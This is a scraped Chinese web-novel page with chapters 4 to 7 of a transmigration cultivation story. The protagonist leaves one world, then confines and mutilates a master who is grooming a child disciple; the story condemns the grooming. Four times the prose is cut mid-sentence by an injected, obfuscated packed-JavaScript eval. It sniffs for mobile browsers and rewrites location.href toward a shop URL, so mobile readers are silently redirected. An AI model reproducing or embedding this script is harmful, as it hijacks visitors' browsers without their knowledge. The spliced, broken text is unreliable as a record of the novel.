111在红枫心里说:“宿主,主角会带他们过得很好的。” 那可是主角,天命之子,现在这么小就和大家建立了羁绊,往后他们的日子都不会过得太差。 红无尘这个天命之子现在就乖乖地站在他身边,身高还没到他的腰间,红枫看了红无尘很久,才幽幽道:“从前那些主角确实是主角,可他是我的孩子。” 这个位面的很多人都对他很好,也从来没有一个孩子像红无尘这样,由他手把手带大,和他的行为习惯几乎一模一样,性格也和他小时候相差无几。 “我要留下来,为了我们纯洁的父子情。” 111有点懵逼:“可是,这样做很危险。” 一般来说,执行者都会尽量按照命轨的剧情来走,因为虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459094|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然剧情是有弹性的,但是一旦动摇了整个位面的根基,整个位面都可能会湮灭。 他们之前所做的事,如果写进书里,在这篇红枫只是配角的师徒文中最多也只能占到一两行字,但如果红枫不在正文剧情正式开始的时候死去,那就是影响整本书设定的大事件,是会动摇位面根基的大事了。 “现在距离师父出关还有十年,给我九年时间,我要在这个位面飞升,帮他们修复天梯,这样就能偿还所有人了。” 111觉得一个义务教育的时间也许不太够飞升。 “嗑药吗?宿主?商城在打折!” “磕。” 111负责买药,红枫带红无尘看过江景,回到溪玉峰上以后,就开始了闭关。 但是,他还是修炼不动。 这么天天在小黑屋里一个人呆着,他虽然也比从前的进度快了一些,离九年飞升需要的修炼速度却还差得远,111怎么买药都补不起来,红枫就在自己二十岁这一年打开了闭关室的大门。 他本该死于二十岁。 所以,这一年,外面肯定到处都有可以杀死他的剧情,处处都有他必须提高自己的上限才能通过的劫难,红枫决定出门走一走,以劫破劫。 第一站就是他本该去给师弟买糖葫芦的地方,是溪隐峰下的一座小镇,在小镇上的市集里,红枫穿了一身平民常穿的裋褐,踩着一双没有任何装饰的黑靴,规规矩矩地去买一串糖葫芦,卖糖葫芦的老翁第一次见到红枫,惊为天人,怎么都不愿意收他的钱,红枫只能慢慢劝,劝了好久才买到这一串糖葫芦。 恰巧有一架轿子路过这边,轿上小帘被风吹起,里面的人探出了头,对着红枫笑。 红枫想了想,也礼貌地对他笑了笑。 轿子里的人还是对他笑,什么话都没说,红枫等了一阵,才明白,这个人也是笑傻了。 他在这里又买了一串糖葫芦,又等了一会儿,上前问过轿子里的人的姓名,确认是任务中那个应该把他凌辱至死的人没错,就继续在市集上等着,一边等着自己被抓一边在市集上淘好吃的,他吃了整整一天,对方都没有要抓他的意思,只在他要离开小镇的时候恋恋不舍地跟在他身后,连近身都不敢,眼神卑微至极,仿佛一只小狗。 这就跟红枫想象的情况完全不一样了。 111建议道:“宿主,要不再多买点药?” 眼看用剧情杀压迫自己升级这条路是走不通了,反正这具肉身也不是红枫在主位面那一具,实在不行可以干脆下点猛药强行飞升。 “也许我应该走上一条从未设想过的道路。” “什么道路啊?” 红枫专注地看着山脚下的湖水:“以帅入道。” 111:…… 111觉得自家宿主这句话真是太不要脸了,怎么可能有人那么帅嘛,还以帅入道,就打开了外视。 湖水里映着一个红枫,水岸边站着一个红枫,同样的风华绝代,同样的光风霁月,同样的——令人浮想联翩的美。 该如何形容这样的美呢? 111宕机了。 5. 第 5 章 何谓帅? 帅,不止是脸上的帅,也不止是身材上的帅,最深层次的帅,是由内到外的,从心灵上到举止上,再到五官上,样样都要做到极致,才算可以入道。 红枫见过非常多的帅到了极点的男人,他之前去过的所有位面的男主都是这样的男人。 想到这些,他更坚定了要研究帅道的心,前人已经成功,后辈还有什么好恐惧的?就算不能以帅证道,研究一下也绝不会亏。 红枫先选起了衣服。 俗话说人靠衣装马靠鞍,红枫虽然已经帅到了穿个破抹布都好看的境界,但是,穿更精致的服装才能更好地搭配他的气质,像他这样沉淀了数千载的灵魂,必须要有能符合特质的衣装,才能让人第一眼就看出他的最内在最核心的本真之美。 111已经再次关上了外视,现在说话又硬气了:“宿主,我感觉你这个道真的有点歪,这不能斗法啊这个道。” 以往再怎么样也是要拿个武器的,什么刀枪剑戟斧钺钩差这些传统兵器就不说了,弹奏乐曲的琴,挥毫泼墨的笔,甚至玩赏娱乐用的墨玉棋子都也还算是可以拿在手里用作武器,战斗的时候用棋子这些东西打人那种情况在各个位面里也不是特别少见,至于红枫这次选择的以帅入道,这,看起来只能用脸打人。 “道本来就是歪的,从一开始,就是混沌虚无走歪了才有了道,就连科学原本都是用来玩的,”红枫依然对自己的外观搭配十分上心:“斗法用剑不就行了,我又不是不会用武器,等我选完衣服再去选一把无敌帅的宝剑。” 衣装配饰之后,是举止。 除了言行,举止是最能体现出一个人的风度的地方,要体现出他渊渟岳峙的帅气品德,就要苦练站姿,必须要玉树临风身姿挺拔的站姿,才能让人显得风流潇洒,帅气逼人,不然长相就算再好看,气质猥琐也是能把帅的值减到负分的。 最后,最能表现出容貌、衣装、配饰、举止所合为的气质的方式,就是舞蹈。 红枫选了一套从前自己学过的剑舞,在自己无敌帅的宝剑上挂了三丈长的剑穗,站到了这个位面最高的山上,试着挥了一段剑舞。 红枫的修为不停在舞蹈中攀升。 化神期。 渡劫期。 大乘期。 111感觉到了虚空的破碎,红枫的帅道就这么证成了。 111难以置信:“不是,这,这合理吗?” 红枫看着剑穗认真思考:“完全合理,这不就是末法时期献祭要做的事情吗?” 穿上最好的衣服,佩戴上表示礼仪的道具,脸不够好看就化个妆,最后再用能够表达内心的舞姿在山巅起舞,这不就是远古祭祀礼吗? 看来,曾经的帅道也是天下第一的大道啊!他选择的是多么端正的坦途! 111听不下去了:“宿主你醒醒,当年的祭司都是女人。” “问题不大,帅美两道终究是殊途同归。” “噫!” 红枫冷静下来了:“哦,我错了,她们可能不是追求美道的人。” 胡乱给别人扣上不同的道,是很不道德的事情,虽然只是在心里想了一下,他还是要反思自己的错误,让自己以后不至于随口说出来。 “宿主,你看下面!” 111突然这么说,红枫就往下看,看到了很多人,中间最显眼的地方是两个眼熟的人,是何无妄带着红无尘在和他道别。 由于红枫证道证得太快了,红无尘现在只有十二岁,看起来还是小小的,何无妄平时总是一脸笑意,此刻却眼含热泪,神情激动地牵着红无尘向他挥手:“你在天上等我!我很快就会过来!” 下方一片悲拗,每个人都在哭泣,都在为即将要失去的世间最美好的容颜而哭泣。 111感慨了一声:“他们都好难过的样子。” “走吧。” 这次红枫倒是没什么想说的。 本来只能在这里呆八年,他把时限拉长到了十二年,让他们多享受了四年视觉盛宴,在他破碎虚空以后,天梯也会被修复,整个修真界里所有人的证道速度都会大大加快,而如果再在这里呆下去,一旦紫曦道人提前出关,这个位面也许就会崩溃。 红枫也有些难过,他很舍不得这些喜欢他的人,他们给予了他这些年最难有的喜欢,可他明白现在做什么才是正确的。 红枫登上天梯,一步步远离众人的视线,所有人都只能看着他走得越来越远,越来越看不清楚,只有何无妄修为最高,还能看着他的背影痛哭流泪。 就在他即将要走到天尽头,气机与道韵就要彻底消失在下界的时候,红枫听到了一个诡异的声音。 “红枫!你抛夫弃子!你不是人!” 红枫脚步一顿。 “负心汉!” “渣男!” “脸帅了不起啊?” “我早就看他不顺眼了!” 很快,一个又一个的人仿佛大梦初醒,不断对着红枫的背影指指点点,要求他必须为他们的喜爱留下,纷纷指责说帅就是因人而异的,什么帅道,不就是取悦他们的道吗?一个人去仙界算什么证得大道? 前一秒还在为红枫的离去而难过,后一秒就骂了起来,下方的言辞越来越激烈,也越来越严肃,111担心地问他:“宿主你还好吗?” “没事,”红枫深吸一口气:“我明白,太过容易得到的喜欢,是会特别容易失去。” 他们会因为他的帅喜欢他,在他消失以后,自然也会因为他不再存在,而舍弃那些原本就不应有的喜欢。 “要不我们把天梯撤了吧?” 111觉得反正他们看重的是脸不是宿主,感情不在宿主身上,那宿主就不欠这些人什么了,这个天梯,哼,不把他们全灭了都是宿主人美心善。 红枫有气无力:“没精力了,随便他们吧。” 他在离开这个位面以前,最后回头看了一眼。 在红无尘的身旁,何无妄终于停止了哭泣,他握紧了红无尘的手,愤怒地用神念环视着所有嘲讽红枫的人,一团魔气在他印堂散开,弥漫至四肢百骸。 也许,并不是所有的喜欢,都那么容易消失不见,人与人之间,总是存在着一些意外。 “宿主,组织上把新的任务书发过来啦!下一个位面我们选哪啊!” 就像他和111,他作为爸爸,会永远爱这个儿子的。 红枫接过111送上的任务书信息和它商量:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459095|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选个能做反派boss的位面吧,还有年龄,不要像这次一样从小长大,婴幼儿时期我太难过了。” 符合这样条件的位面111筛选出来了三个,一个修真位面,一个古风位面,一个洪荒位面。 这样红枫就很好选了:“古风位面,我修炼得要吐了。” “好的,但是宿主,这次的修真位面不用修炼。” “是吗?”红枫打开修真位面的任务书详细看了一下。 修真位面的这位师兄开场离满级就只差那么一点,确实不需要修炼,有这么一位开场超神的反派大boss师兄,主角师徒居然还能安心谈恋爱,红枫觉得很神奇,就继续往下看。 这篇任务书里是师父自己去捡的小徒弟,师父罗衍也是出场就满级的人物,他偏心小徒弟,为了小徒弟甚至压制境界留在下界,却不怎么管他的大徒弟,在乐易十三岁的时候,他的师兄觉得乐易该独立了,就总是打扰他们,终于有一天,在打扰他们的时候,师兄差不多是以一个捉奸在床的打开方式发现了他们的关系不正常,立刻向门派报告了这件事,导致师徒分离,天道认为他的行为玷污了爱情,就给他注入了魔气,让他变成了反派魔修。 红枫觉得还是这种爱情比较脏。 “那就选修真位面吧。” “好的。” 未做修整,111直接切入了新的位面,红枫抬起头,看着屋上横梁,陷入沉思。 “宿主,你怎么啦?” “我在想,”红枫抿了抿唇:“我们还剩多少积分。” “还剩两万积分啦!” 他们穷了。 主位面养老福利做得很到位,红枫本来也不是个喜欢囤积分的人,所以从前做男二养女主或者女主的孩子们的时候就没有省过积分,什么都要给他们最好的,上个位面又磕了非常多的极品丹药,导致现在111只能开启最低级的商城了。 111试图安慰红枫:“宿主,问题不大的,反正你每次完成任务都没有靠过商城道具。” 但是生活品质会大幅下降。 这次是在修真位面,他自身修为也很强,生活条件就还可以,下次要是在古风位面,夏天一到连个风扇空调都没有,他自己还好,万一有师妹需要照顾,他会习惯性心疼的。 “不行,这次必须要认真一点,多赚一点积分。” 111摇旗呐喊:“宿主冲鸭!” “我去把那个师父关起来。” “不是,等等?” 想撬动命轨赚积分也不能往这撬啊,这可是动摇位面根基的大事,那可是本位面主角攻,动不得啊! “放心,我只是要给这个位面做个微创手术。” 所谓天命之子,就是天道之气运所忠,那么,只要抽取出他的气运,再转移到另一人身上,谁又会是真正的天命之子呢? 本位面的根基是师父罗衍和徒弟乐易之间的爱情,那么,如果有一个人,有罗衍的气运,有罗衍的姓名,有罗衍的身份,还有乐易对他的爱情,他凭什么就不能取代原本的罗衍,成为这个位面新的根基呢? “可是,宿主,你谈恋爱就没谈成过……” “我不会谈,”红枫悻悻然道:“我可以找会的人嘛。” 6. 第 6 章 孙竹指尖一动,就拆去了熟鸡爪里的硬骨头,只留下好吃的皮肉软筋,红无尘给她送了很多佐料,接下来只需要把佐料放进去,再用术法加速混合一下就能吃了,就是差一杯酸酸甜甜的柠檬百香果,酸甜辣都在才是好日子。 等夏常练完剑回到洞府,就看见孙竹又在算卦,她一边算卦一边吃鸡爪,悠闲得很。 “如何?算到了何事?” “你语文又挂了。” “别吧……” 夏常的语文已经挂了三百多年了,想当年他师兄何无妄入魔离开宗门,他师父北天剑尊写信劝他回来,说他们都是同门,有什么困难大家可以一起克服,然而何无妄说他现在不用辅导夏常的语文功课,每天过得快活似神仙,绝对不会再回宗替北天剑尊分担痛苦。 他师父北天剑尊收到回信以后,看着夏常手里的语文课本,着急忙慌地引雷想要飞升,结果渡劫失败,现在还是得给他上语文课,反倒是林冶那个优哉游哉慢慢修炼的养生派最先飞升。 北天剑尊这几天最高兴的时候,就是掌门点兵的时候。 碧落宗已经是修真界第一大派了,当年掌门座下大弟子红枫飞升以后,碧落宗的声威本应由飞升者带动而渐高,却因为红枫所证的道为帅道,让世人不解,从此给碧落宗扣上了歪道的帽子。 两百年前,掌门座下二弟子红无尘横空出世,说起来他是在魔道有夏常的师兄,现任的混沌魔尊何无妄给他开路,在正道也有碧落宗给他撑腰,可碧落宗当时在世人间的名声也已经不是很好,红无尘的生活看上去金尊玉贵娇生惯养,实际上他只要出了宗门踏入正道,遍地都是针对他的冷言冷语。 就在这样冷冰冰的环境里,红无尘的性格也变得越来越冷,夏常当初很是担心,宗内的人也都很关心这个他们看着长大的孩子,掌门对红无尘尤为关注,最初他们都把他看作是已经飞升的红枫留在人间最宝贵的纪念,过了这么多年,尘儿不仅只是宝贵的纪念,还已经是拥有着与他们重叠的回忆的小尘儿了。 他们都很关心他,红无尘的心性却还是越来越冷。 果然,后来红无尘也走上了世人所说的歪道。 他要以菜证道。 那段时间碧落宗和混沌殿的人轮流给他做思想工作,红无尘不听,他就是不听,他天天做菜,碧落宗的人过来看到他在做菜,混沌殿的人过来还是看到他在做菜,关键他的菜是做得越来越香了,后来大家劝说的决心都化作了泪水从嘴角流了下去,就劝不动了。 劝不动红无尘,那就只能去劝别人不要再嘲讽红无尘。 可是,怎么劝,都不听,就硬要嘲讽,硬要损害他们的师弟/师兄/师侄/徒弟红无尘的道心,怎么办? 那一年,碧落宗联合混沌殿,正式对鄙弃歪道的所有人进行了强烈谴责,以菜入道怎么了?又没有煮你们家大米! 反歪道联盟也很不满,他们一直觉得红枫以帅证道就是浪费他的才华,研究什么不好去研究帅?现在红无尘又去研究以菜入道,这俩师兄弟到底把他们正道当成什么?再这样让他们用这些奇技淫巧证道证下去,正道颜面何存?人家魔道现在一手剑术天下无敌,他们正道还在这耍帅的耍帅炒菜的炒菜? 碧落宗觉得他们有毛病,别人爱做什么做什么,不就是不跟他们同道吗?上回开个中等秘境一把宝剑几千万剑修去抢,他们真的不觉得自己选道选得太僵化太集中了吗?混沌殿的人则认为魔尊的剑和红无尘的菜根本没法比,觉得能比的都是没闻过红无尘的菜香的,没见识。 他们相互谴责,双方越谴责越生气,最后就打起来了。 碧落宗掌门首当其冲,被设计重伤,还好当时红无尘在场,用一手好刀法救回了掌门的性命。 红无尘虽然走的是菜道,武力却并不低。 他要处理的食材里常常有灵植灵肉,切菜切肉常常都要切成透明的薄片,他一天做菜做下来挥刀的次数不比同阶剑修挥剑的次数少,对于刀意刀风的掌控力不比刀修弱,而且他能十分恰好地把握住骨肉之间的位置,可以刀刀到肉,招招碎骨。 反倒是掌门紫曦道人,虽然身居高位,但是他所修炼的道,也不是很正常,紫曦道人的道也和刀枪剑戟斧钺钩叉这些无关,他修的是善道,所以掌门战斗力极低。 可他毕竟是掌门,身为一派代表的掌门,他被重伤,碧落宗和混沌殿都觉得受到了挑衅,当即就安排人要把那些敢对掌门动手的人都杀了,然而,在他们选好人以前,红无尘已经带着他的一百零八把解牛刀把人都清理干净了。 连渣都没剩那种干净。 众人这才意识到他们忽略了什么,红无尘选择的菜道并不是不能打,只是之前除了红无尘以外,所有人都不了解它。 虽然他们一直在各执一词对着菜道辩驳来辩驳去,有人赞同有人反对,但始终没有人去了解过菜道。 对菜道的理解上双方达成了空前的统一,恩怨上死仇却也已经结下,双方关注的不再是红无尘的道,重点彻底转移到了红无尘这个作为受害者与加害者的人身上。 从此,恩渐生恩,怨渐生怨,天下风云动荡,人间物换星移,四海群英辈出,九州豪侠并起,掌门有了点兵平天下的野心,北天剑尊有了放下语文书的借口。 可他躲得开语文书,躲不开紫曦道人和红无尘这对师徒。 北天剑尊自己的徒弟一个心性偏激修了魔道,一个考了几百年都过不了语文,而紫曦道人,当年收的大弟子红枫是多么风华绝代倾国倾城的人物就不说了,就说现在这个二弟子红无尘,平日出入都是在他师父身边贴身伺候,那体贴入微细致周到的劲头,就看得北天剑尊这个孤寡老人很是心酸。 但是心酸归心酸,夏常来找他的时候,他还是要去找掌门尽快给他安排出战时间的。 现在能和另一方开战的机会是越来越少了,当年碧落宗只是三大正道宗门之一,现在则是毫无疑问的第一位,混沌殿也从当年的新兴势力发展为了如今的魔道顶尖势力,且何无妄御下有方,以恶人磨恶人,让魔道事魔道毕,使碧落宗和混沌殿两派之间从无冲突,反而因为曾经并肩作战而心存义气,人心齐则泰山移,何况区区一战? 另外一点则是因为,红无尘晋阶的速度实在是太快了,之前红枫晋阶的速度也是空前绝后,对红无尘的讨伐起源就是一场道心之争,到如今,这些歪道会给人带来的变化已经十分明显,也已经有许多人决定放弃前人走惯了的道路,试着踏上新的道路,跟随红无尘的步伐。 虽然但是,北天剑尊并不认为从集中于修剑到集中于修菜是什么好的变化,以前起码这成千上万的人还能去秘境里抢一把宝剑,现在恐怕没人敢去跟红无尘抢他的宝贝锅铲。 不过碧落宗和混沌殿这些自己人倒也不至于那么盲目跟风,毕竟打从一开始,他们的道就不怎么正常。 掌门的道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459096|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是善道,碧落宗有五大灵峰,除了北天剑尊自己这种一心向剑的纯粹剑修以外,就单剑峰之内,还有修行王道霸道生道的,是的,生道,一边斩人一边救人,北天剑尊第一次看到自己峰内居然有人用剑做这种事的时候,还特意把夏常抓过来打了一顿去找那名内门弟子疗伤,来证实他是不是在乱报道名。 道,原本指的就是修士自己在修真界要走的道路,自己的道不可以儿戏,更不应该由流行或由长者去决断,修真求真,所求即真人,没有自己的道,看不透自己的心,如何求真?如何修真?只为变得强大?只为成为人上人?如果成为人上人就是他们一生所求的道,那也是一件好事,可就连想要成为人上人这样的想法,大多也不过只是环境影响出来的念头而已,是有不少修真者都想要成为人上人,成为飞升者,开创新的修真时代,可这样的念头,却连支撑他们刻苦修炼的决心都做不到,这些人实则也只是被他人影响到蒙蔽住了自己的道心,不知心之所向罢了。 “所以,其实,语文考试过不去也不是什么大问题,就是排名低那么一点点,就是会被新来的弟子记住,就是会被掌门每年点一下名,你只需要刻苦练剑,道心通明,语文算是什么旁门左道?我辈剑修不学也罢!” “可是,被掌门点名还好,被其他门派也拿出来说,就真的很丢人啊。” 是这样的,本来一个门派内的成绩是不那么容易就这么随便传开的,毕竟这也不是多大事,语文只是一门基础课,夏常也不是以语文入道的文士,没什么好关注的。 但是,夏常也被掌门点兵点过了。 那一战,掌门让他攻打丹洛,还另点了十三位修士分别负责丹洛郡下其他地区,夏常试图婉言拒绝,掌门拒绝了他的拒绝,还给了他强力的鼓舞,说等他凯旋归来,就替他师父给他加一份彩礼。 当时夏常正准备迎娶孙竹,孙竹是个卦师,卦师从不缺钱,她修的还是财道,嫁妆备得极为殷实,夏常则是个剑修,还是时不时穷到当剑的修真界标准剑修,他那段时间愁疯了,一听掌门这么说,立马就答应了下来。 最后夏常在丹洛郡全境这一战,打是打赢了,但是是惨胜,惨到差点只剩一个头的惨胜。 掌门只给他点了数量足够攻打丹洛的修士,听说夏常一次奇袭直接把占据丹洛郡的敌首给斩首了,掌门心中直叹年轻人真有朝气,他好久没有见过这么有朝气的年轻人了,就联合友派召开会议大肆表扬了一番夏常敢作敢为的心态,还夸他有智慧有雄心,明明只要他打丹洛他居然就给碧落宗打下了丹洛郡。 夏常被夸得很不好意思,掌门聚气于台上问他感言的时候,夏常就红着脸说出了他会这么敢作敢为的真实原因:“原来掌门你只是叫我攻打丹洛啊……” 掌门左思右想,愣是想不明白,他明明也有同时给其他十三位修士安排阵地,为什么夏常还能理解成这样? 红无尘轻轻咳了一声,在掌门耳边念了一句,掌门这才恍然大悟,从此以后每学期都要问候一遍夏常的语文考试成绩,其他门派的语文先生也都把夏常列成了上课必讲的反面教材。 “说到丹洛郡,当年不也是?” 事情已经过了,孙竹摇摇头,给夏常也递了一只鸡爪过去。 夏常接过了鸡爪,给孙竹拿了一杯柠檬百香果:“当年?溪隐郡啊,也不知道枫儿现在在仙界过得好不好。” “会好的吧,大家都过得很好。” 7. 第 7 章 现在的时间是在乐易刚满十二岁的时候,乐易的师父罗衍是在乐易五岁时对他一见钟情,罗衍一见到乐易,就觉得从来没有见过长相如此精致的娃娃,到现在他追求乐易是有七年了,乐易年纪尚小,情窦未开,只以为是师父偏爱自己这个小的,至今没有想到爱情上去过。 红枫前来打扰的时候,罗衍正带着乐易斟酒赏月,罗衍虽然觉得他来得很是不巧,但毕竟罗衍现在还没有和乐易更进一步,红枫没有看见什么不好的东西,碍于红枫的修为和他在门派中的声誉,罗衍暂时也还不敢露出马脚,不敢让他想通他们之间的关系,只能让他坐在一边不理他,等他坐得没趣了自己走。 红枫原本是想等乐易离开以后他再动手,但是罗衍完全没有要放乐易回去的意思,眼看月亮都已经要垂落下去了,乐易已经十分疲惫,红枫也不想再等,直接点了乐易的睡穴,拔剑过去和罗衍走了两招,一挥一斩之间就将他击倒在地,111适时从商城里抓了一大把捆仙索扔出来,把罗衍绑了个严严实实。 罗衍按境界算是足以飞升,按武力算,原本的师兄就已经比他高出了一点,现在到了轮回无数位面战斗经验丰富的红枫手里,能走过一招就已经是他的荣幸了。 接下来,红枫就把罗衍扔到了他的闭关室,顺手切断了闭关室里的灵石供应,废了原本刻画得密密凿凿的聚灵阵。 修真不知岁月,红枫对外只需说罗衍在闭关,就不会有人再去探问罗衍究竟过得如何,修真本就是与时挣命,没有人会那么有闲心去怀疑他这个大弟子。 罗衍挣大眼睛看着红枫,不敢相信自己竟然会被他的大弟子关起来。 他确实很久没有关注过自己的大弟子了,或者说,他从来就没有关注过他,反正他收弟子起初的目的就是为了养老,有孝道伦理在,无论他这个师父当得怎么样,他的大弟子都不敢不养他,后来他的境界足以飞升,不需要有弟子给他养老,他就差不多是快忘了自己还有个大弟子了。 他的大弟子只不过是他的附庸,师父说什么徒弟就应该去做什么,红枫要是不听话也就算了,他就当没这个徒弟把他赶出师门就行了,如今居然敢以下犯上,真是反了天了! 等到红枫做完一切,准备把乐易抗回他自己房间休息的时候,罗衍才终于稍稍平息了一些胸中的愤怒,他颤抖着手指向红枫,抖着唇开口:“你个逆徒!你居然敢对师父不敬!” “逆徒?”红枫回过身,歪着头看他:“你教过我什么?你配叫我徒弟?” 任务书中的大师兄身为亲传,可是一点亲传的好处都没有得到过的。 别的亲传弟子都有师父赠送的法宝武器,大师兄没有也就罢了,别的亲传弟子都有师父特意给他们留的秘境名额,大师兄想去秘境只能靠自己,别的亲传弟子自从拜了亲传恩师以后,就没有为灵石发愁过,可大师兄拜了亲传师父以后,不仅没有获得过一分一毫,还失去了内门弟子每月可以领取的上品灵石,就算是这样,如果罗衍教导有方,在修炼上给了大师兄哪怕一点点开解,也都还算是有那么一点点身为师父的责任心,可大师兄的修为,大师兄的武力,全部都是蹭的师门的公开课。 明明当年大师兄也是被各峰长老争抢过的天纵之才,大师兄自立后也没少给自己师父孝敬法宝灵药,凭什么他还要被这个垃圾人叫逆徒?罗衍算个什么东西?尽了做师父的职责吗就随便喊人徒弟? 红枫嗤笑一声,扛着乐易走回了罗衍身边,用手掰开了他的嘴。 “半仙的舌头,泡酒的滋味定然不错。” 罗衍被红枫逼得抬起头,在暗室中看向他的脸,只觉得这张沉浸在阴影中的脸此刻狰狞无比,完全没有从前自己的大弟子那副懦弱温吞的模样,他想问他,想开口说话,想知道这个人里面是不是换了个芯子,偏偏被红枫割了舌头。 乐易在红枫肩头说着梦话,被红枫之前的动作惊动得快要醒了,乐易年纪还小,红枫不好点穴给他点得太重,只能把他抱在怀里哄了哄,哄完以后红枫突然发觉罗衍这次受到的打击好像比被打倒和被割舌的时候还大。 他没想明白,直到111提醒了一句:“宿主,乐易在罗衍眼里其实是成年女性。” 红枫心情复杂,他迅速往后退了一步,嫌弃地拍了拍自己的衣服,才锁上了闭关室的大门,带乐易回了他自己的房间,他的房间很久没住过人了,红枫掐诀好好清理了一下,才把他抱到床上给他盖好被子掖好被角。 照顾小孩这事红枫很熟练,没多久就全部弄好了,大师兄的修为已经要到满级了,不需要红枫再修炼,他决定现在就去帮乐易物色一个好对象。 首先,按照当下的长辈观念来看,寻找道侣最重要的是门当户对,出身环境相同,这样共同语言会比较多,比较容易聊得来,一般也不会出现所求的道全然相反这种情况,不需要去杀夫或者杀妻证道。 但是,乐易的这个出身环境,一般应该没人会跟他相同。 明面上他只是乾阳派寻道峰峰主的关门弟子,乾阳派内有不少与他身份相似的人,而且与乾阳派齐名的另外三大派内和他身份相似的人也是不少,可是,别的关门弟子都是师父收来继承衣钵的,乐易不一样,乐易是罗衍收来玩的,乐易长这么大修炼上的东西没学会多少,一些乱七八糟的东西倒是懂得很多,跟同样身份的其他人恐怕并没有多少共同语言。 其次,就是用契约,或者当事人的责任心,再或者由红枫施恩给一些资质上佳的天才,让他们为了报恩,为了责任,或者为了践行契约来和乐易结为道侣。 这种方法就完全把乐易这个人摘了出去,这种方式需要的洞察力红枫有倒是有,但是再有洞察力,人心可不止是不易读懂的,还是容易改变的,到时候要是新找的罗衍变心了,不愿意报恩,不愿意承担责任,修为高了以后对方还冲破了契约,如果红枫当时已经不在了,这个位面就崩了,可红枫不喜欢在一个位面里停留太长时间,所以这种方法不到万不得已他不愿意用。 第三种方法,就是看有没有人与乐易志趣相投。 也就是所谓的自由恋爱,是人格与人格的互相吸引,这个红枫没法帮忙,自由恋爱嘛,家长插手了算什么自由恋爱? 所以,总结来总结去,红枫只能一边努力培养好乐易自己的正面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459097|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 志趣,一边培训几个有能力有才干的男孩给乐易做备胎。 乐易现在只有十二岁,按原本的命轨走,他会喜欢上罗衍,那么他应该是喜欢男人,红枫可以去选择一些九到十五岁的男孩来培训,选出乐易的合格男友。 正好现在寻道峰的闲事也都是由大师兄在管,红枫完全可以自己在寻道峰上多开几座洞府用来收徒,虽然现在叫徒弟以后可能要叫师父,称呼起来有点奇怪,但是在修真界,门派内的功法只能在师徒亲属之间流传,不收徒红枫就没法给人传授功法,养不出来乐易的合格男友。 当晚红枫就去找了掌门,说要收徒,山门还有九年才会打开向外招收弟子,红枫这么突然一来,就只能在外门收一些别人不要的资质一般的弟子,掌门帮他点了几个在外门弟子中已经算是资质最高的三灵根男孩,让红枫带了回去,继续坐下打着哈欠处理事务。 看起来掌门好像很忙的样子。 红枫正想和掌门告别,就见到一位师伯走了进来,给掌门捏肩,却被掌门拍开了手,刚才还很斯文儒雅的掌门,现在一脸要吃人的表情对着红枫的师伯说:“你这会儿知道来做好人了?” 红枫感觉他们可能要吵架,悄悄带着新收的弟子们溜了出去,以免影响他们的发挥。 反正他现在的身份只是个晚辈,晚辈不能随便掺和长辈的矛盾,红枫没把这事放在心上,带着弟子们回了寻道峰安排好住处,就去了藏书楼。 虽然他已经很久没有在修真位面的藏书楼看到过新鲜的东西了,但也不妨碍他喜欢往藏书楼跑。 藏书楼的藏书不只有功法心得,还有游记地图,甚至历史文艺一类的东西也都有,红枫去了藏书楼首先就是翻出了一本历史书,来了解本位面的修士。 这个位面的修士经历过末法时代,又走了出来,据历史记载,当年末法时代最顶尖的道是杀道,也正是因为杀道大盛,才导致了末法时代的降临,所以现在杀道是正魔两道都禁止领悟的大道,这个位面的人就很少有嗜杀的,但是,杀过人的修士还是不少,正魔两道斗争起来也不会不杀人,只是不会为杀而杀。 可仅仅只是做到做好了这一点,就让他们走出了末法时代,现在天地之间灵气充裕,全靠这万年以来修士们只以道法为尊,不计较一点一滴的恩怨得失,只专注于自身的修为,在灵气枯竭到几乎死寂的修真环境里一步步达成小飞升,最终慢慢把这个位面温养到了如今的层次。 简单的说就是,当前位面的修士以理性务实派为大多数,这样也就不难理解为什么会养出任务书上的师兄那样的人。 